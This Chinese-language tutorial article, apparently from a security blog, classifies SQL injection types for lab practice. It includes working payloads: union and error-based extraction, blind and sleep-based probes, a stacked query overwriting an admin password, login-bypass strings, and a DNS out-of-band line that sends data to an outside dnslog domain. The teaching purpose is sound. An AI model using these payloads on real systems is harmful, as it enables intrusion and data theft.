ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

SQL注入分类全解析:从注入点定位到联合查询与盲注选型

SQL注入分类全解析:从注入点定位到联合查询与盲注选型 自从在安全社区里看到各种SQL注入的求助帖之后我越来越觉得很多新手并不是不会用payload而是脑子里没有一张分类地图。SQL注入分类看起来是个入门话题但它恰恰是决定你后面能不能走远的关键。SQL注入点在哪里、SQL注入有哪几种类型、遇到一个参数位该先试联合查询还是直接盲注这些问题如果能在早期理清楚后面不管是打SQLi-Labs、DVWA还是Pikachu靶场都会顺畅很多。这篇文章我想把SQL注入类型完整拆一遍。不会只讲抽象概念而是把每种分类维度的判断思路、典型payload、适用条件、踩坑点都铺开说争取做到一看你就明白了。文章适合刚接触Web安全的朋友也适合那些已经能打通几个靶场但对分类体系还比较模糊的人。读完你至少应该能做到拿到一个注入点能准确判断它属于哪一类然后选对技术路线。1. 先把分类的地图画出来SQL注入到底该怎么分1.1 为什么把分类搞明白比背payload更重要先问一个问题加单引号报错了然后呢很多人的第一反应是去翻笔记找SQL注入万能密码绕过或者联合查询payload但很少有人先停下来想——这个报错到底意味着什么。SQL注入分类不是一道纯理论题它本质上是一张作战地图。你面对的是一个拼接在SQL语句里的参数位但你不知道它在什么位置、用什么方式闭合、数据能不能回显、报错信息会不会展示。这些问题不搞清楚再长的payload列表也帮不了你。举个特别常见的例子很多初学者拿SQLi-Labs第一关练手上来就order by猜列数然后union select一把梭很快就把数据拿到手了。但他并不知道自己到底在做哪一类注入也不清楚为什么第一关能用联合查询而后面某些关卡不行。等换到DVWA的高难度模式或者某个真实业务系统的POST接口同样的思路立刻卡壳因为环境变了分类没变——问题出在思维模型没有建立起来。我个人的体会是分类学的扎实程度直接决定你后续学SQLi-Labs每一关、打CTFHub技能树、甚至做真实渗透测试的效率。因为分类的本质是把那些看起来乱七八糟的注入场景归纳成几条清晰的判断路径。知道这条路走不通就换另一条比背一百条payload重要得多。1.2 三个分类维度一张表市面上关于SQL注入分类的说法比较杂。有的教材按参数位置分有的按数据获取方式分有的把绕过手法也揉进分类里。我的建议是用三个维度来拆分它们互相补充、互不冲突分类维度核心问题主要类别注入点位置参数从哪里进来GET、POST、Cookie、Header、搜索框、JSON字段数据获取方式数据怎么带出来联合查询、报错注入、布尔盲注、时间盲注、堆叠注入、OOB带外特殊场景与绕过常规手段失效时怎么办宽字节、二次注入、编码绕过、等价替换、万能密码这三个维度不是并列的口诀而是层层递进的关系。你拿到一个请求参数先看它的位置在URL、Body、Cookie还是Header里再判断用什么方式把数据带出来是直接回显、报错回显还是只能靠盲注如果常规手段全被挡住了再考虑特殊场景——宽字节、二次注入、OOB外带这些偏方。整个过程很像看病问诊先问哪里不舒服位置再做检查获取方式最后开药方特殊手段。每次遇到一个疑似注入点心里过一遍这张表就能避免漏掉方向。很多时候注入测不出来不是因为不存在注入而是因为分类维度没覆盖到——比如一直在测GET参数却没注意请求头里的X-Forwarded-For也可能是注入点。2. 按注入点位置分类先定位战场在哪2.1 GET注入最基础的入门场景GET注入是所有SQL注入类型中最基础、最直观的一种。它的特点是参数直接出现在URL查询字符串中比如?id1这种服务端把参数拼接进SQL语句执行。为什么它适合入门因为每次修改payload都可以直接在浏览器地址栏完成回显也很直接。DVWA的低难度关卡、SQLi-Labs的前几关包括很多早期CMS的漏洞基本都是这个形态。判断GET注入点最经典的三个测试手法是单引号试探?id1、逻辑对比测试and 11与and 12、order by N猜列数。注意观察回显的变化——是页面报错、白屏还是返回了不同的内容这些都能帮助判断注入类型。这里有一个个人体会GET注入虽然简单但很多人在测试时会忽略URL编码问题。?id1在浏览器里会被正常发送但一旦payload里带上空格、#、--等特殊字符就要注意编码了。#在URL里会被当作锚点处理而不发送到服务端我实际测试中就不止一次见过有人写了半天payload没反应最后发现是#被浏览器吃了。遇到这种情况建议用Burp Suite直接改请求来测避开地址栏的各种坑。GET注入的另一个小技巧是数字型参数可以直接加减数字判断。比如?id2返回的是id2的记录?id2-1如果也返回id1的记录说明参数是数字型注入不需要闭合引号后续payload可以省略引号包裹简化构造逻辑。2.2 POST注入表单参数别只盯着URLPOST注入是另一种高频场景。参数在请求体Body里通常出现在登录表单、搜索框、提交数据的接口中。很多人测完URL之后就把POST接口忽略了这个习惯要改。实际业务系统里POST接口的注入数量往往比GET还要多——因为不少开发人员会有看不见的请求更安全这种错觉而现实恰恰相反。POST注入的测试方法其实和GET大同小异区别在于操作工具变了。浏览器地址栏改不了Body所以要用Burp Suite等抓包工具或者直接在浏览器开发者工具里改请求。Pikachu靶场的POST注入关卡就是很好的练习材料它的登录表单场景非常贴近真实业务。判断逻辑完全一样先加单引号看报错再试逻辑表达式然后决定是走联合查询还是盲注。唯一的额外注意点是Content-Type如果接口返回JSON就要当心后端是否直接拼接了你的输入。有些框架会先解析JSON再取值拼SQL这种情况下测试点其实是JSON字段的值本身定位方式略有调整。说说POST注入最容易被忽略的点参数名。有些后端代码取参数时没做严格校验比如$_POST[id]取不到就报错或者默认取第一个同名参数。手测的时候可以尝试修改参数名大小写、添加多余参数等方式观察响应差异有时候能意外发现隐藏的注入面。2.3 Cookie与Header注入容易被忽视的隐蔽入口这部分经常被新手忽略但实际上是真实测试中捡漏的好地方。Cookie注入指服务端读取Cookie中的某段内容比如用户ID、会话标识、偏好设置拼接到SQL语句Header注入则是读取User-Agent、Referer、X-Forwarded-For等请求头字段再把值拼进SQL。为什么开发人员会在这里写出注入一个常见场景是流量分析或日志系统把User-Agent直接存进数据库用于统计用户终端信息。如果只有展示功能可能不会引起安全团队重视于是就成了注入的藏身地。另一个常见场景是反爬系统会记录访客IP把X-Forwarded-For直接拼进SQL做黑名单查询。测试思路和前面是一样的但有个坑要特别注意Cookie和Header的字段长度有限很多payload会被截断。比如X-Forwarded-For如果只取IP部分再做格式校验注入就无从谈起。真实环境中我用的比较顺的思路是先用长字符串探测字段是否被截断再根据截断情况选择合适的注入方式。盲注比联合查询更适合在短payload场景下工作因为不需要那么长的完整语句。还有一点Header注入的payload构造要小心处理回车换行。某些后端在写入Header值时不会过滤CRLF这就可能引发HTTP响应拆分属于另一类问题了。总之测Header注入时宁可先抓包看清后端对Header的完整处理逻辑再动手构造payload。2.4 搜索框、JSON字段和其他半结构化注入搜索框注入很容易被归类搞混。搜索功能的SQL一般是模糊查询比如WHERE title LIKE %$kw%这种情况下闭合方式可能不止一种。你输入的关键词外面有%包裹所以写payload时就要考虑怎么跳出这个包裹——比如输入% and 11--这样的内容让多出来的%变成一个普通字符。JSON接口的注入则要看参数值本身是否被拼接。有些接口会把整个JSON序列化后拼进SQL这种一般是二次注入的范畴后面会专门说。测试JSON注入时最容易犯的错误是直接把{id:1}改成{id:1}但没注意JSON格式校验后端如果先做JSON解析再取值拼SQL那么你的单引号需要放在值的位置而且要保证JSON本身合法否则请求连解析都过不了。还有一个容易被忽略的位置是WebSocket消息。如果前端通过WebSocket与后端通信后端把消息内容直接拼接进SQL执行那么注入点就藏在这个通道里。流量抓包工具会需要特殊配置才能看到WebSocket帧测试时别漏掉。3. 按数据获取方式分类联合、报错、盲注怎么选3.1 联合查询注入有回显时的首选方案联合查询注入是我最推荐入门先学、实战首先尝试的类型因为它拿数据最快、最直观。核心原理是把正常的SQL查询结果和注入的查询结果合并返回让数据库把想要的数据跟着页面一起输出出来。前提条件有两个页面上存在显式回显位置原始SQL查询的列数可以被猜出来。操作流程一般是三步order by N逐级试探找列数union select 1,2,3...确认哪一列的值会显示在页面上将对应占位符替换为要查的数据比如group_concat(table_name)爆库表名这里有个特别重要的细节union select之前必须把原始查询的返回结果置空否则你的数据只会跟在正常结果后面显示容易被正常数据干扰。最常见的手段是在原参数位置传入一个不存在的值比如id-1让前面的查询无结果后面的union数据自然就成了唯一输出。报错也是个有用的信息源。当字段数不对时MySQL会直接报The used SELECT statements have a different number of columns这个报错本身就告诉你列数不匹配继续调整数字直到不报错为止。所以遇到报错不要慌先读懂报错内容它经常是你的指路明灯。联合查询在SQL Server和Oracle上同样适用但语法有细微差别。比如Oracle不支持union select 1,2,3必须有from dualSQL Server某些版本要求所有select列的类型一致。刷题时如果同时练多个数据库这些差异要提前熟悉。3.2 报错注入没回显但有报错时用它联合查询需要回显位置但有些页面无论查什么都只有一个固定的查询失败提示甚至直接把SQL报错显示出来通常出现在开发环境或调试没有关闭的线上环境。这种时候报错注入就登场了。报错注入的核心思路是利用数据库在遇到某些特殊函数或表达式时会把错误信息中包含的查询结果输出到报错文本中。MySQL里最常用的两个函数是updatexml()和extractvalue()它们的共同点是接收XPATH参数如果传入的XPATH不合法MySQL就会把参数内容作为报错信息的一部分显示出来。典型payload长这样?id1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)0x7e是波浪号~的十六进制表示用来做内容分隔符。因为报错信息默认长度有限大概32个字符左右加分隔符可以让提取的数据边界更清晰避免输出截断时被混淆。实操建议报错注入一次只能带出一小段内容爆数据的时候要配合substr()函数逐段截取。真实测试中我最常干的事情是写一个脚本循环翻页每次取20个字符把表名、列名、数据一段段拼出来。需要注意的是不同的数据库报错注入函数完全不同。MySQL是updatexml、extractvalueSQL Server是convert、cast整数溢出报错Oracle是ctxsys.drithsx.sn这类函数利用。你在SQL Server 2008的注入环境里硬套MySQL的payload结果只能是无休止的报错失败。3.3 布尔盲注黑白分明的逐位判断当页面既不回显数据也不显示报错只存在查询正常与否的差异比如正常返回200错误返回500或者页面内容有细微差异那就进入盲注的世界了。布尔盲注是所有盲注类型的基础它的判断依据是真和假两种情况页面是否存在可区分的差异。经典测试流程是以and 11和and 12分别请求一次观察页面差异。如果两种请求的页面行为不同说明服务端确实执行了SQL逻辑此时就可以开始用substr()或mid()逐位爆破数据。比如?id1 and substr((select database()),1,1)a如果页面表现为正常说明数据库名的第一个字符是a表现为不正常说明不是a。接下来就是循环遍历字符集一位一位地把信息抠出来。这个过程手工操作会特别痛苦所以布尔盲注几乎总是要写脚本。比较常见的方式是用Python的requests库搭配多线程或异步把字符集限定在abcdefghijklmnopqrstuvwxyz0123456789这类高频集合里能显著提升效率。实际测试中有些信息里还会出现下划线、符号、特殊字符建议二次遍历时补全字符集。对初学者的建议先把单引号测试理解透——为什么要判断闭合方式为什么有的地方是有的是有的是直接没闭合。这些在布尔盲注中特别关键因为payload错了页面永远表现一样你会误判为不存在注入。判断闭合方式的常见手段是输入1 and 11和1 and 12各请求一次观察差异差异出现就说明闭合方式猜对了。3.4 时间盲注连页面差异都没有时怎么办这是最痛苦的场景不管查询结果如何页面输出完全一样。这种情况下只能利用查询是否被延迟执行作为判断依据。MySQL中的sleep(5)函数可以强制查询等待指定秒数如果注入的条件为真时才执行sleep(5)那么响应时间就会显著变长通过时间差传递信息。典型payload?id1 and if((select database()) like s%, sleep(3), 0)如果数据库名以s开头请求会卡3秒返回否则立即返回。用二分法或逐字符枚举就能把整个数据库结构带出来只是速度慢得让人崩溃。时间盲注踩坑最多的地方是网络延迟。如果目标服务器本身响应就不稳定3秒和5秒的差别根本不可靠。我的做法是先用一个必然为真的条件比如无条件执行sleep(5)测量基准延迟再设置一个阈值比如超过基准延迟3倍才算命中并且每个判断重复2到3次取最稳定结果。时间盲注还有一种进阶用法利用benchmark()函数做CPU密集运算来替代sleep()比如benchmark(10000000, sha1(test))。这在sleep函数被过滤时非常有用但要注意benchmark()会消耗服务器资源过量使用可能影响服务稳定性点到为止。3.5 堆叠注入一次执行多条语句堆叠注入的原理和前面几种不太一样——它是利用数据库支持一次请求执行多条SQL的机制用分号把多条语句分隔开执行。MySQL客户端允许这么做但服务端的数据库访问层比如PHP的mysqli与PDO的区别决定了这种方式能否生效。很多框架的预编译声明只允许一条语句所以堆叠注入不像联合查询那么通用。如果堆叠注入可用能力范围就大了不但可以查数据还可以改数据、删数据甚至通过INTO OUTFILE写文件。SQLi-Labs第30关左右就专门设置了这种场景。要注意的是堆叠注入的每条语句都是独立的不像union那样要求列数一致所以payload设计时灵活度更高但各种防护分号过滤、关键词过滤也会更严格。堆叠注入一个经典玩法是修改数据如果页面本身有修改密码的逻辑你可以在注入点后面追加一条update users set passwordxxx where usernameadmin用自己控制的密码覆盖管理员密码。这在CTF题目里很常见实战中如果遇到SQL语句拼接但又不回显的场景堆叠注入往往比盲注高效得多。4. 特殊场景与绕过宽字节、二次、OOB和万能密码4.1 宽字节注入当转义函数遇上GBK宽字节注入是很能体现编码细节决定漏洞是否存在的一个分类。它的适用场景是MySQL使用GBK编码且服务端用addslashes()、mysql_real_escape_string()等方式对参数做了转义——单引号前被加上了反斜杠\导致闭合操作失效。转义的本质是让反斜杠形成一个屏障使MySQL无法看到单引号。但GBK编码有一个特性一个汉字占用两个字节而%df%5c这样的组合会被MySQL当作一个合法的汉字来解析。payload中的%df与转义产生的\%5c拼在一起后恰好被当作了一个宽字符于是后续的单引号就成功闭合了。经典payload形态?id1%df union select ...。这个技巧在较老版本的MySQL中非常经典前提是连接字符集确实是GBK。如果数据库已经全面改用UTF-8这套思路就不成立——这也是为什么我建议初学者先学会看服务端的字符集配置而不是一味套payload。宽字节注入的变体还有%bf%27配合addslashes的情况原理相同都是利用字符编码错位来吞掉反斜杠。练习时建议在SQLi-Labs的宽字节关卡里多试几个不同位置的payload真正理解吃掉转义符背后的字节级原理。4.2 二次注入写入时被过滤读取时被触发二次注入可能是所有SQL注入类型中最难理解的因为它的注入点并不发生在参数被写入数据库的那一步而是发生在后续某一次读取并拼接该数据的时候。打个比方你在注册页面输入的用户名里藏了一段 union select...这一步因为有转义数据库存下来的是一段看似普通字符串的内容但过后某个页面把这段内容从数据库取出来直接拼进SQL语句执行注入就在此刻爆发了。二次注入的测试方法不太容易自动化因为它需要你理解业务的读写链路。比较典型的练习场景是修改密码功能它先根据用户名从数据库取出信息再拼接用户名进行查询。如果用户名本身就是注入payload此刻就成了一台潜伏的注入点。实用建议测试二次注入时不要只盯着输入点要把关注点放到这个值会在哪些地方被读取、被拼接上。先注册、再触发、再观察节奏一步一步来。Pikachu靶场里有二次注入的小例子很适合体会完整攻击链路。4.3 OOB带外注入把数据直接发出去OOB注入的思路与前面完全不同——它不依赖页面回显、报错或时间差而是让数据库主动与外部服务器建立连接把查询结果塞进某个通信通道传出来。最常见的利用方式是DNS外带和UNC路径外带。在MySQL中load_file()函数支持读取UNC路径比如load_file(concat(\\\\, (select database()), .xxx.dnslog.cn\\a))数据库会解析这个UNC路径从而向攻击者控制的域名发起DNS查询查询的域名里就包含了数据库名信息。攻击者只要在DNSLog平台上观察记录就能拿到目标数据。OOB注入的优点是稳定、隐蔽不受页面回显、报错或网络延迟影响缺点是依赖数据库的特定功能和出网条件不是每个环境都满足。新手可以先用DNSLog平台熟悉整个流程——在本地搭一个环境让数据库外带一个简单字符串到自己的DNSLog域名下把流程跑通再说。使用带外注入时还有一个关键点目标服务器必须能够发起对外DNS查询。如果目标处于严格隔离的内网环境DNS请求根本无法出网那这条路就断了。所以在真实测试中我会先做一个简单的连通性测试——比如让load_file(\\\\test.dnslog.cn\\a)触发一次DNS查询看平台有没有记录再决定是否使用OOB注入。4.4 万能密码与登录绕过最简单但常被忽略的利用方式万能密码是热搜词里提及率很高的一类其实它属于登录逻辑注入本质是构造一个恒为真的SQL条件。最常见的形态是登录SQL形如select * from users where usernamexxx and passwordxxx如果代码把参数直接拼接且没有做强校验输入 or 11--这样的内容就会导致整条查询变成一个不需要密码的查询。注意这里的--后面一定要加空格否则注释符不生效不同数据库有细微差别MySQL要求--后跟空白SQL Server是--直接注释。很多时候所谓万能密码失效并不是因为不存在注入而是因为闭合引号没写对、注释符格式有问题或者在版本兼容性上没有考虑到位。个人心得测试登录绕过时别只盯着 or 11还可以试试admin--、admin#、) or 11--这类变体。因为闭合的引号在数据库中的位置和SQL拼接时缺的字符不同payload要跟着调整。比如有的SQL是(username,password)这种括号包裹的写法你就得先闭合右括号再构造or 11。万能密码的另一个变体是空密码绕过利用代码中对空值判断不严的缺陷。比如后端只判断$_POST[password]是否非空却没校验查询结果是否为空数组输入一个不存在的用户名配合 or aa之类恒真条件同样可以绕过验证。5. 拿到注入点后怎么判断类型三步定位法5.1 先看回显、再看报错、最后盲注遇到一个疑似注入点我建议严格按下面的顺序判断类型不要凭感觉乱试第一步加单引号观察回显。如果报错可能走报错注入或者联合查询如果表现异常但无报错继续第二步。 第二步用and 11与and 12对比测试。如果页面表现不同是布尔盲注或显式回显配合order by确认列数后先试联合查询如果页面无差异进入第三步。 第三步插入sleep(5)观察响应时间。如果变慢就是时间盲注如果不变再考虑OOB带外或堆叠注入或者直接翻代码看是否存在二次注入。这套流程在SQLi-Labs、DVWA、Pikachu里都适用区别只是目标环境封死了哪条路。我个人强烈建议新手拿一张纸把这套判断流程写下来做完每一步就打个勾长此以往判断就会变成肌肉记忆。另外补充一个容易被忽略的判断维度参数的闭合方式。同一个注入点可能被单引号包裹、双引号包裹、括号包裹、甚至直接裸露拼接。判断闭合方式的方法是不断尝试不同的payload组合看哪一个能在页面响应中产生差异。比如1 and 11有差异而1 and 12无差异说明单引号闭合成立如果反过来说明可能是双引号包裹。5.2 靶场训练路线从SQLi-Labs到CTFHub靶场的选择和训练顺序直接影响你分类学习的效率。我的建议路线是这样SQLi-Labs总共几十关前几十关把联合查询、报错注入、布尔盲注、时间盲注、堆叠注入几乎全覆盖了。缺点是页面偏教学化不太像真实系统但作为分类练习是最合适的。DVWA难度分级做得很好。低难度直接联合查询中高难度在SQL语法上做了变化比如高难度对空格、注释符做了过滤适合练绕过思路。Pikachu贴近业务场景搜索注入、登录注入、二次注入都挺有代表性适合把分类方法论往真实业务上迁移。CTFHub技能树把SQL注入拆成好几个小关卡CTF场景下常见各种过滤与绕过适合在基础分类掌握后挑战进阶。千万别跳着练。很多新手一上来就怼CTFHub的高难度绕过关卡结果连布尔盲注的脚本都写不利索挫败感极强。先按分类把每一类打透再上绕过节奏会舒服很多。刷靶场还有个小技巧每打通一关用一句话在旁边记录这一关用了什么分类、遇到什么坑。一个靶场刷完你就拥有了一份专属的注入分类笔记比任何教程都管用。6. 常见问题与实战排查经验6.1 常见问题速查表现象可能原因排查方向加了单引号没任何反应参数经过了类型转换或根本不是拼接注入检查是否是数字型注入点无闭合符尝试直接加减数字判断and 11和and 12无差异页面缓存、参数被过滤、实际是时间盲注先清缓存/随机化参数再试sleep延迟union select报列数不匹配原查询列数猜错用order by二分法快速确定最大列数#或--注释不生效URL中#被当作锚点或注释符后缺空格抓包测试改用%23、--报错注入没反应目标未开启错误回显、函数被过滤切换函数确认目标版本或转盲注时间盲注测不出延迟网络抖动、sleep函数被过滤先测基准延迟再尝试benchmark()替代盲注脚本判断错乱页面内容动态变化、请求频率过快被限流增加重试机制、降低请求频率、用响应长度而非内容做判断这张表是我实际测试中积累下来的高频问题分享出来希望帮大家少走弯路。顺便说一句遇到没反应的时候先别急着换payload把请求原样抓下来看看后端到底把你发的内容处理成了什么样子很多时候问题出在传输层而不是SQL语句本身。6.2 个人踩坑心得与习惯养成最后分享几个自己的习惯算是对整套分类方法论的补充。第一测试前先把闭合方式判断清楚。不要一上来就union select先回答一个问题参数进入SQL时有没有引号包裹是数字型还是字符型判断方法很简单数字型可以尝试?id2-1看返回是不是id1的结果字符型则必须引入闭合符再测试。这个判断不做准后面全是白费功夫。第二写脚本是盲注的救命稻草。手工盲注一次一次猜太痛苦了学会用Python的requests库写一个循环脚本把判断逻辑封装成函数以后遇到时间盲注、布尔盲注都能直接复用。脚本里注意设置合理的超时与重试避免网络抖动导致误判。第三学会观察数据库版本和运行平台。同样的payload在MySQL 5.7、SQL Server 2008、Oracle里的行为差别很大。group_concat是MySQL才有的函数concat在SQL Server下必须小心类型转换limit的写法在Oracle里是rownum。很多背下来的payload只适用于MySQL用之前先确认数据库类型否则只能得到一堆无用的报错。第四所有知识都要落在靶场上验证。分类理论背得再熟没亲手打通几关都算不上掌握。我个人体会是把SQLi-Labs的每一类关卡过一遍遇到卡壳就回头看分类表梳理是位置判断错了还是获取方式选错了坚持一段时间分类体系自然就内化了。这篇文章到这里差不多就讲完了。分类这个东西看起来是基础实际上贯穿了整个SQL注入攻防的始终。希望你看完之后遇到一个注入点时能先冷静地判断它在哪个位置、适合用哪种方式带数据、有没有特殊情况需要处理——这比记住任何一条具体payload都重要得多。至于那些五花八门的函数和语句用多了自然就熟了分类的直觉反而需要刻意练习才能形成。
返回列表